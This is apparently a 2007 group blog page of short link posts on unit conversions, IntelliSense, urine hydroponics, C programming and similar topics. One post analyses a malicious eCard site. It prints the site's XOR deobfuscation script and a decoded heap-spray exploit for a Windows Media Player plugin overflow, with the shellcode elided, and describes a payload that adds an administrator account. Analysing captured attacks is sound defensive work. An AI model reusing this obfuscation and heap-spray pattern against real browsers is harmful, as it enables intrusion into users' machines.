30 Jun 2007, 8:16pm

by Layne

leave a comment

Get your (tons|tonnes) straight!

FYI:

Metric Ton, also spelled Tonne, is equal to 1000 kilograms, or 2204.6226 pounds. Technically it should be called a “megagram”, but nobody uses that unit.

Short Ton, equal to 2000 pounds, is the ‘normal’ ton in the American system.

Long Ton, equal to 2240 pounds, is the ‘normal’ ton in the old Imperial system. Still used to measure the displacement of ships (even in America.)

30 Jun 2007, 7:02am

by Layne

leave a comment

Does Visual Studio Rot the Mind?

Does Visual Studio Rot the Mind?

It’s not that IntelliSense is teaching us to program like a machine; it’s just that IntelliSense would be much happier if we did.

And I think it’s making us dumber. Instead of finding out exactly the method I need, or instead of trying to remember an elusive property name, I find myself scrolling through the possibilities that IntelliSense provides, looking for a familiar name, or at least something that seems like it might do the job.

I don’t need to remember anything any more. IntelliSense will remember it for me. Besides, I justify to myself, I may not want those 60,000 methods and properties cluttering up my mind. My overall mental health will undoubtedly be better without them, but at the same time I’m prevented from ever achieving a fluid coding style because the coding is not coming entirely from my head. My coding has become a constant dialog with IntelliSense.

So I don’t think IntelliSense is helping us become better programmers. The real objective is for us to become faster programmers, which also means that it’s cheapening our labor.

instructables : Vegan Spinach Pie, or How To Turn Your Urine into an Ideal Hydroponic Solution for Plants!

In the spring of 2006 I sent my urine to a floriculture lab and learned that it contained all the nutrients necessary for plant growth but not in the ideal concentrations. So I put myself on a vegan diet that would transform my urine into an ideal liquid nutrient solution for plants. I ate lots of nuts and seeds, tofu, spinach, and other leafy greens and built a mobile urine recycling system outfitted with a urinal, urine processor and sterilizer, foam bed, kitchen, and hydroponic napa cabbage garden. I urinated, grew napa cabbages hydroponically with my urine, made kimchi from the napa cabbage, and served the kimchi to the public.

Vegan Spinach Pie was one of my favorite dishes from the diet.

instructables : Vegan Spinach Pie, or How To Turn Your Urine into an Ideal Hydroponic Solution for Plants!

Well this is a new idea…or maybe not.

I was redirected to a humorous (and by humorous, I mean pathetic) website attempting to infect me with a virus (or so I thought, see below), under the false premise that I had just received an eCard from “a relative”. I took a look at the source code, and an realized that most of the website was seemingly binary data in a javascript function. I dug a bit deeper, and found that they had written a little XOR routine in javascript to transform their ‘binary’ data into actual html, and were using the function to hide the true intent from the casual observer. Here is the function, and a small sample of the ‘binary’ data they included:

Phase One:

<Script Language='JavaScript'>
function xor_str(plain_str, xor_key)
{
    var xored_str = "";
    for (var i = 0 ; i < plain_str.length; ++i)
        xored_str += String.fromCharCode(xor_key ^ plain_str.charCodeAt(i));
    return xored_str;
}
var plain_str = "\xbd\x97\x97\x97\x97 ...(There was a lot of stuff here).... \xa3\xbd";
var xored_str = xor_str(plain_str, 157);
document.write(xored_str);
</script>

Phase Two:
I have translated this mess, and come up with the following much-less cryptic code:


<HTML>
<HEAD>
<SCRIPT>
    var s=unescape("% u4141%u 4141%u 4141%u 4141%u 4141%u 4141%u 4141%u 4141");
    //There were no spaces in the original string above,
    // I removed them so they wouldn't be changed.
    // The same thing applies below...
    do
    {
        s+=s;
    }
    while (s.length<0x0900000);
    
    s += unescape("%u 54EB%u 758B ...lots of data was here... %u 702E%u 7068");
</SCRIPT>
</HEAD>
<BODY>
<EMBED SRC="-------(lots more hyphens...)-----AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLAAA (char 0x05)NNNNOOOOAAA (char 0x05)QQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ 0000111122223333444455556666777788889999.wmv"></EMBED>
</BODY>
</HTML>

Breakthrough:
Now, at this point, while trying to find out how to escape those pesky “% u” encodings, I stumbled upon a number of ‘cracker’ websites talking about a remote overflow in the Windows Media Player browser plugin. Turns out that this is a ‘classic’ heap spraying (s stands for spray) technique designed to exploit the buffer overflow. The character 0×41 is the letter ‘A’, and is also a NOP in windows’ shellcode. The code generates an incredible number (16 MB worth) of NOP instructions, presumably enough to get past the runtime structures in the plugin’s memory. After this massive dump of NOP’s, the actual dangerous code is sent, which is apparently a standard Win32 “add administrator” payload from the website Metasploit, which creates a new local administrator with the username ‘wmp0wn3d’ and password ‘password’.

So it turns out that it wasn’t just a lame virus install attempt, but also an attempt to exploit a browser plugin security hole. Hurrah for microsoft!

Further Reading:

 

Bicycle rollers

Bicycle rollers are a type of bicycle trainer which makes it possible to ride a bicycle indoors without moving forward. However, unlike other types of bicycle trainers, rollers do not support the bicycle. . .
Roller racing was popular in 1950s Britain, often preceding films at the cinema or taking place in between dances at dance halls.

Bicycle rollers - Wikipedia, the free encyclopedia

28 Jun 2007, 7:00am

by Wayne

leave a comment

Hans Reiser: Once a Linux Visionary, Now Accused of Murder

Slightly longer than most Wayne and Layne posts, but I think it’s an interesting look into the Hans Reiser situation.

Hans Reiser: Once a Linux Visionary, Now Accused of Murder

27 Jun 2007, 10:58pm

by Layne

leave a comment

Why Hydrogen?

Icelandic New Energy - Promoting Hydrogen in Iceland

So why incur these losses to make hydrogen? Because hydrogen’s greater end-use efficiency can more than offset the conversion losses, much as an electric heat pump or air conditioner can offset fuel-to-electricity conversion losses by using one unit of electricity to concentrate and deliver several units of heat. That is, conversion losses and costs are tolerable if the resulting form of energy is more efficiently or conveniently usable than the original form, hence justified by its greater economic value. Making hydrogen can readily achieve this goal.

An interesting take on the hydrogen debate. Keep in mind this was created by the company that is working to get hydrogen buses to replace the entire Reykjavik bus fleet.

27 Jun 2007, 7:00am

by Wayne

leave a comment

Guidelines to creating magic-systems

[These files are] about designing magic systems for role playing games. You can also find some discussion about magic in general.

Guidelines to creating magic-systems

26 Jun 2007, 11:41pm

by Layne

leave a comment

The Ten Commandments of C Programming

An amusing and useful article regarding best practices in C programming. Heed ye well the words of the prophet Ansi, for she is very wise, but also the world of the first prophets, Kernighan and Ritchie.

3. Thou shalt cast all function arguments to the expected type if they are not of that type already, even when thou art convinced that this is unnecessary, lest they take cruel vengeance upon thee when thou least expect it.

A programmer should understand the type structure of his language, lest great misfortune befall him. Contrary to the heresies espoused by some of the dwellers on the Western Shore, `int’ and `long’ are not the same type. The moment of their equivalence in size and representation is short, and the agony that awaits believers in their interchangeability shall last forever and ever once 64-bit machines become common.

http://www.plethora.net/~seebs/c/10com.html

Haidinger’s brush

Many people are able to perceive polarization of light. It may be seen as a yellowish horizontal bar or bow-tie shape

Haidinger’s brush